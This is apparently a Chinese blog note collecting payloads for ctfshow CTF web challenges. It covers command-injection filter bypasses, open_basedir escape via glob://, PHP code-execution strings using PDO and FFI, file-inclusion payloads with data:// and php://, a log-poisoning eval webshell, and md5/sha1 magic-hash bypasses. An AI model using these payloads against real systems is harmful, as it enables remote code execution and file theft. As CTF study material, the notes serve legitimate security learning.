cftshow 随笔

发布时间 2023-07-26 13:32:36作者: cjlokl

命令执行

过滤;可以用%0a代替

绕过黑洞

2>/dev/null 意思就是把错误输出到“黑洞” >/dev/null 2>&1 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”

%09   ${IFS}  <>  <可以代替空格

?     ''    可以代替 *

*可以代替0个及以上任意字符

?可以代表1个任意字符

 

查看文件 cat tac nl more paste  系统命令

php自带命令 show_source

 

上传临时文件rce   参考文章  :https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

当出现黑洞时加exit();

 

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
c=$a="glob:///*.txt";if($b=opendir($a)){while(($file=readdir($b))!==false){echo "filename:".$file."\n";}closedir($b);}exit();
 
 
调用phpsql语句查询
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
使用FFI,PHP>=7.4
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
内置命令
# echo ${PWD}
/root

# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/

# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}
t

# echo ${PWD:~A} #所以字母和0具有同样作用
t

# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

文件包含

?file=data://text/plain,<?=system("tac%20flag.php");?>

?file=Php://input   再post:<?php system("tac flag.php");?>

?file=php://filter/read=convert.base64-encode/resource=flag.php

包含日志文件 ua头注入
?file=/var/log/nginx/access.log
修改UA为:<?php @eval($_REQUEST[1])?>

php特性

intval()函数用于获取变量的整数值。intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量var的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。也就是说,当给intval()函数传入一个非空的数组时,intval()函数将会返回1
image

if(preg_match('/^php$/im', $a))           #/i表示匹配大小写,/m表示多行匹配
/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。

但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。
payload:?cmd=aaa%0aphp

image

if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
强类型转换,利用md5数组返回false  false=false 通过判断
payload:a[]=1&b[]=1

echo new ReflectionClass('ctfshow');  反射获取类
100
绕过md5、sha1
以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
以下值在sha1加密后以0E开头:

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
双重MD5加密后0E开头:

7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk